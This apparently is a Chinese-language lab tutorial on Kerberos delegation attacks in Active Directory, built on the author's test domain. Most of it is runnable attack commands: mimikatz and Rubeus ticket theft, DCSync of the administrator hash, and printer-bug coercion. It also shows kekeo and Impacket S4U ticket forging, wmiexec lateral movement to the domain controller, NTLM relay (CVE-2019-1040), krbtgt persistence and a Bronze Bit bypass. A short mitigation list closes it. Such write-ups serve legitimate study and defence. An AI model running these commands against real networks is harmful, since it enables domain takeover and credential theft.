域渗透之委派攻击
内网渗透-域渗透之委派攻击
前置知识
在介绍委派之前需要了解Kerberos认证,在前面白银票据和黄金票据哪已经学习过了,这里就简单说一下
委派,委托嘛,就是张三委托小明去做一件事:张三委托小明去拿个快递,委托小明去买水果…
在Kerberos认证系统里,也就是张三委托Web系统,让WEB系统去访问文件系统,去访问图片系统等等,是将域用户的权限委派给服务账号,委派之后,服务账号就可以以域用户的身份去做域用户能够做的事,危害就是攻击者可以利用委派功能结合其他漏洞进行组合攻击,从而获取本地管理员权限甚至域管理员权限。
委派
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等)。
委派包含三种方式:
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
非约束性委派
非约束性委派允许某个服务器或服务代表任何用户访问其他服务。这意味着当某用户访问一个配置了非约束性委派的服务器时,服务器可以获取并缓存用户的TGT,并使用它来请求其他服务的票据。这个TGT是用户的核心身份验证凭证,一旦获取,几乎可以代表该用户在Kerberos域内执行任何操作。
真啰嗦,就是对委托的对象没有做任何的限制。如果黑客控制了web系统,那他可以在不知情的情况下访问域内的所有主机/服务,非常危险。
###环境搭建
1 | 域名: q1ngchuan.lab |
将win2机器委派属性设置为”新人此计算机来委派任何服务(仅Kerberos)”
AdFind侦查发现
1 | # ADFind查询非约束委派普通账户 |
可以发现WIN2机器配置了非约束性委派,并且WIN2可控,所以可以尝试利用非约束性委派获取机器权限
攻击利用1:诱使域管理员访问机器
当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN2主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
利用条件:
- 需要Administrator权限
- 域内主机的机器账户开启非约束委派
- 域控管理员远程访问
假设域控管理员DC2016执行:
1 | net use \\WIN2.q1ngchuan.lab |
使用域内机器,导出票据,执行攻击
1 | 域内主机导出票据 |
导出了一堆域控,在其中发现了我们想要的票据
尝试连接域控
1 | dir \\DC2016.q1ngchuan.lab\c$ |
导入票据
1 | mimikatz.exe "privilege::debug" "kerberos::ptt [0;42d3c2]-2-0-60a10000-Administrator@krbtgt-Q1NGCHUAN.LAB.kirbi" "exit" |
攻击利用2:强制访问漏洞利用
利用条件
- 需要管理员权限
1 | Rubeus.exe monitor /interval:2 /filteruser:DC2016$ |
域控执行
1 | spoolsample.exe DC2016 WIN2 |
然后和上面一样 导入票据
先用脚本处理一下票据
1 | data ='' |
1 | mimikatz.exe "kerberos::list" |
1 | mimikatz.exe "lsadump::dcsync /domain:q1ngchuan.lab /user:Q1NGCHUAN0\Administrator" "exit" |
拿到 hash 397cb3952d50a1e29ee3308179c0ff81
1 | python3 wmiexec.py -hashes :397cb3952d50a1e29ee3308179c0ff81 q1ngchuan.lab/administrator@DC2016.q1ngchuan.lab -no-pass |
约束性委派
约束委派是为了解决非约束委派的安全问题而引入的。在约束委派中,服务账户只能获取特定用户的TGT,并只能模拟该用户访问指定的服务。攻击者需要找到配置了约束委派的服务账户,并确定该账户可以访问的特定服务和用户。
通过利用S4U(Service for User to Self/Proxy)扩展,攻击者可以代表特定用户请求访问指定服务的票据,并模拟该用户执行操作。
S4U2self
允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。
S4U2proxy
允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。
环境搭建
选择“信任此计算机来委派指定的服务” - “使用任何身份验证协议”,在下面选择DC的cifs或者ldap服务即可
ADFind侦查发现
1 | # AdFind.exe查询约束委派机器账户 |
攻击利用1
条件
administrator权限
获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |
先测试可以不可以通
当然不ok
导入票据
1 | kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN2$@krbtgt-Q1NGCHUAN.LAB.kirbi /user:Administrator@q1ngchuan.lab /service:cifs/DC2016.q1ngchuan.lab" "exit" |
导入后成功
攻击利用2
使用机器账户的hash
先获取机器账户的hash
1 | 0e575db5591144d63fdec053f126a82f |
制作票据
1 | kekeo.exe "tgt::ask /user:WIN2$ /domain:q1ngchuan.lab /NTLM:0e575db5591144d63fdec053f126a82f" "exit" |
1 | # 申请administrator权限的票据 |
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@q1ngchuan.lab@Q1NGCHUAN.LAB_cifs~DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi" "exit" |
1 | dir \\DC2016.q1ngchuan.top\c$ |
攻击利用3
用机器账户的hash 远程wmiexec登录
利用之前获取到的hash
1 | 0e575db5591144d63fdec053f126a82f |
1 | python3 getST.py -dc-ip 192.168.102.138 -spn CIFS/DC2016.q1ngchuan.lab -impersonate administrator q1ngchuan.lab/WIN2$ -hashes :0e575db5591144d63fdec053f126a82f |
记得加hosts
1 | 192.168.102.138 DC2016.q1ngchuan.lab |
1 | export KRB5CCNAME=administrator@CIFS_DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache |
横向移动到域控
1 | python3 wmiexec.py -k q1ngchuan.lab/administrator@DC2016.q1ngchuan.lab -no-pass -dc-ip 192.168.102.138 |
攻击利用4
利用条件
- 获取管理员权限
- 被控机器设置了约束性委派
- 可获取被控机器账户哈希
利用哈希(或密码)申请票据,而不是直接导出
1 | kekeo.exe "tgt::ask /user:WIN2$ /domain:q1ngchuan.lab /NTLM:0e575db5591144d63fdec053f126a82f" "exit" |
然后伪造其他用户 申请TGS票据
1 | kekeo.exe "tgs::s4u /tgt:TGT_WIN2$@Q1NGCHUAN.LAB_krbtgt~q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi /user:Administrator@q1ngchuan.lab /service:cifs/DC2016.q1ngchuan.lab" "exit" |
导入票据
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@q1ngchuan.lab@Q1NGCHUAN.LAB_cifs~DC2016.q1ngchuan.lab@Q1NGCHUAN.LAB.kirbi" "exit" |
1 | dir \\DC2016.q1ngchuan.lab\c$ |
基于资源的约束性委派
基于资源的约束委派是另一种形式的委派,它允许服务账户直接请求访问特定资源的票据,而无需通过KDC(Key Distribution Center)进行额外的票据授予服务(TGS)请求。在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中。
攻击者需要找到配置了基于资源的约束委派的服务和资源,并确定它们之间的依赖关系。
通过直接请求访问资源的票据,攻击者可以绕过正常的认证流程,获取对敏感资源的访问权限。
约束性委派和基于资源的约束性委派配置的差别
- 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
- 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
- msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)
什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性:
- 将主机加入域的用户(账户中有一个
mSDS-CreatorSID
属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了) - Account Operator组成员
- 该主机的机器账户
什么是将机器加入域的域用户?
因为将一个机器加入域的时候不是要输入一个域用户的账户密码吗 就是输入的这个用户
如果一个域环境 域用户A 将域内win2012 和 win7 加入了域 我们拿到了域用户A的权限 就可以拿下win2012 和 win7,如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity
属性)
使用普通域用户hack将计算机加入到域环境中
默认情况下,并非只有域管理员才有将普通用户加入域的权限。域中每一个普通帐号都有将10台电脑加入域的权限。
新建一个加域的普通域用户hack
将之前加入域的计算机退出域,然后再修改计算机名 (因为域中已经有了一个WIN2用户,所以要修改一下计算机名),再加入域,输入新建的域账号hack
侦查发现将机器加入域的域用户
查看将机器加入域的用户的sid,再通过sid反查出对应的用户名
1 | AdFind.exe -h 192.168.102.138 -b "DC=q1ngchuan,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID |
攻击利用1:基于资源的约束委派攻击本地提权
利用条件
- 拥有当前机器域用户权限
- 域用户MAQ值不为0
前面拿到SID S-1-5-21-224527955-2611004762-2677198730-1114
(这里在域控机器上登录hack模拟我们拿下该用户机)
反查用户
1 | wmic useraccount get /all | findstr S-1-5-21-224527955-2611004762-2677198730-1114 > 2.txt |
现在条件符合了
https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
1 | #设置为可以执行 |
1 | net group "domain computers" /domain |
成功创建
利用powerView查询机器账户的sid(也可手动)
1 | Import-Module .\PowerView.ps1 |
将本机的msDS-AllowedToActOnBehalfOfOtherIdentity设置为刚刚创建的机器账户
1 | import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-224527955-2611004762-2677198730-1123)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WINRBCD| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose |
检查是否配置成功
1 | Get-DomainComputer WINRBCD -Properties msds-allowedtoactonbehalfofotheridentity |
利用刚创建的hacker账户去申请WEBRBCD机器的ST票据
1 | python3 getST.py -dc-ip 192.168.102.138 q1ngchuan.lab/hacker\$:123456 -spn cifs/WINRBCD.q1ngchuan.lab -impersonate administrator |
导入票据
1 | export KRB5CCNAME=administrator@cifs_WINRBCD.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache |
但是我出现了这个问题。。。。
搜了半天也没发现,GPT搞了半天差点把环境搞坏了,弄了半天才搞回来,奇怪为啥啊。。。。
[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
嘶~
吆,您猜怎么着,ok了,我又重新搞了一遍
攻击利用2:Acount Operators组用户拿下主机
利用条件
- 拥有当前机器域用户权限
- 域用户MAQ值不为0
- 有多台机器使用同一域用户加入域
将hack加入该组
1 | adfind.exe -h 192.168.102.138:139 -s subtree -b CN="Account Operators",CN=Builtin,DC=q1ngchuan,DC=lab member |
1 | powershell |
然后设置委派
先查sid
1 | Get-NetComputer hack666 -Properties objectsid |
S-1-5-21-224527955-2611004762-2677198730-1124
修改WINRBCD的msds-allowedtoactonbehalfofotheridentity的值
1 | powershell |
然后生成票据
1 | python3 getST.py -dc-ip 192.168.102.138 q1ngchuan.lab/hack666\$:123456 -spn cifs/WINRBCD.q1ngchuan.lab -impersonate administrator |
导入票据
1 | export KRB5CCNAME=administrator@cifs_WINRBCD.q1ngchuan.lab@Q1NGCHUAN.LAB.ccache |
攻击利用3:结合HTLM Relay接管域控(CVE-2019-1040)
利用条件
- 能创建机器账户(MAQ不为0)
- 可以利用强制访问漏洞
- 一域内用户密码(根据强制漏洞决定)
先在WINRBCD上创建一个机器用户 test 123456
1 | powershell |
开启监听
1 | python3 ntlmrelayx.py -t ldap://192.168.102.138 -smb2support --remove-mic --delegate-access --escalate-user test\$ |
然后利用打印机漏洞
1 | python3 printerbug.py q1ngchuan.lab/hack:123456Aa\@\@192.168.102.141 192.168.102.138 |
之后就想同了,申请票据,导入,exec
攻击利用4:利用krbtgt用户的委派打造变种黄金票据
在获得域控的权限后 对krbtgt用户设置委派属性 来打造黄金票据 进行权限维持
然后来到域控上操作
在powershell中执行Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$
1 | Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$ |
后面申请票据,smbexec…
域委派防范措施
- 对于高权限用户,设置为
敏感用户,不能被委派
- 若要设置委派,不设置非约束性委派而是设置约束性委派
- 可以将敏感用户添加至
Protected User
组中,该组用户不允许被委派
绕过原理
对域委派安全功能绕过主要是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于服务可以解密自身的票据并且forwardable值不在PAC中,在使用时,forwardable值不受到检查,进而实现绕过目的
详细分析参考:
CVE-2020-17049 Kerberos Bronze Bit攻击深入分析
利用手段
在getST中加上-force-forwardable
参数
1 | python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable |
参考文章
https://xz.aliyun.com/news/12189
https://xz.aliyun.com/news/11001